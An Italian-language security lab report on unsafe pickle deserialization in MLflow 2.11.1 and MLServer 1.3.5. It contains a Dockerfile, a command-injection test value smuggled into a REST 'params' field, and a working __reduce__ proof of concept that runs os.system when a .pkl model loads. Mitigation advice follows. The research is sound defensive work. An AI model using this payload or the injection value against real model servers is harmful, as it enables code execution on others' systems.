
Ambiente di ricerca e script di validazione per valutare i comportamenti di deserializzazione in MLflow e MLServer.
Un rapporto completo di ricerca sulla sicurezza che descrive in dettaglio la verifica, i meccanismi sottostanti e le vulnerabilità architetturali associate alle pipeline di caricamento di modelli non affidabili in mlflow==2.11.1 e mlserver==1.3.5.
| Metrica | Dettagli |
|---|---|
| ID della Vulnerabilità | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| Common Weakness Enumeration | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| Punteggio Base CVSS v3.1 | 9.6 CRITICO (CNA: huntr.dev) / 7.8 ALTO (NVD) |
| Vettore di Impatto | Rete Adiacente, Bassa Complessità, Nessun Privilegio Richiesto, Nessuna Interazione con l'Utente |
| Ecosistema Interessato | mlflow/mlflow (Tutte le architetture legacy che servono tramite enable_mlserver=True) |
MLflow offre un'integrazione con MLServer di Seldon per gestire il serving di modelli ad alte prestazioni e di livello enterprise. Quando si avvia un server di modelli tramite l'interfaccia a riga di comando o l'API del tracking server, gli sviluppatori utilizzano il flag del parametro di configurazione:
enable_mlserver = True
Questo ambiente di laboratorio valuta il comportamento a runtime dei framework di serving di modelli di machine learning durante l'analisi dei parametri di input forniti dall'utente e dei metadati degli artifact. Sebbene i confini di parsing dei parametri esposti dall'API di MLServer isolino correttamente le stringhe letterali grezze (impedendo l'iniezione tradizionale di comandi del sistema operativo tramite metacaratteri della shell), il runtime Python sottostante rimane strutturalmente vulnerabile alla Deserializzazione Non Sicura quando ingerisce flussi di oggetti serializzati legacy (.pkl / pickle).
pickle.Dockerfile)FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
Il test iniziale ha tentato di passare sequenze di payload di terminazione della shell (; touch /tmp/poc_success_marker.txt #) attraverso l'array di payload params dell'endpoint REST /invocations:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
Risultato: Negativo. Il framework ha trattato il payload in modo sicuro come una stringa letterale assoluta e non valutata. Ciò conferma che il motore astrae le variabili di input direttamente negli spazi di memoria di Python, invece di sintetizzare dinamicamente argomenti della shell di sistema tramite un wrapper di comandi grezzo.
Poiché MLflow e MLServer ingeriscono oggetti Python compilati, il rischio principale si sposta dalla valutazione delle stringhe alla ricostruzione del grafo degli oggetti. Utilizzando uno script di validazione personalizzato, un trigger di esecuzione è stato incorporato direttamente in un flusso di modello simulato tramite il metodo magico nativo di Python (__reduce__).
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
Lo script è stato iniettato nell'ambiente sandbox del container per replicare la sequenza di caricamento del backend:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
L'interrogazione della directory temporanea isolata del container ha confermato che l'esecuzione arbitraria di codice è avvenuta istantaneamente durante il ciclo di allocazione degli oggetti:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
Il problema deriva dalla fiducia implicita nel layer di archiviazione degli artifact dei modelli. I file .pkl / pickle Python standard non si limitano ad agire come record di configurazione piatti; contengono istruzioni bytecode sequenziali pensate per ricostruire le proprietà degli oggetti annidati.
Quando pickle.load() analizza il dataset, dà priorità al flusso di istruzioni fornito dall'hook __reduce__. Ciò reindirizza l'applicazione target a chiamare i binari nativi di sistema (os.system) direttamente nell'ambiente della shell, prima che vengano mai inizializzate la validazione dei tipi di dati o i calcoli di inferenza del machine learning.
Deprecare l'uso dei layer di serializzazione legacy (pickle, joblib, marshal) in tutte le pipeline di addestramento e distribuzione. Sostituirli con vincoli strutturali basati esclusivamente sui dati:
Se la tua pipeline richiede strettamente configurazioni di modelli legacy:
USER 10001).cap_drop: [ALL]) e isolare il pod dalle reti che contengono endpoint di metadati sensibili.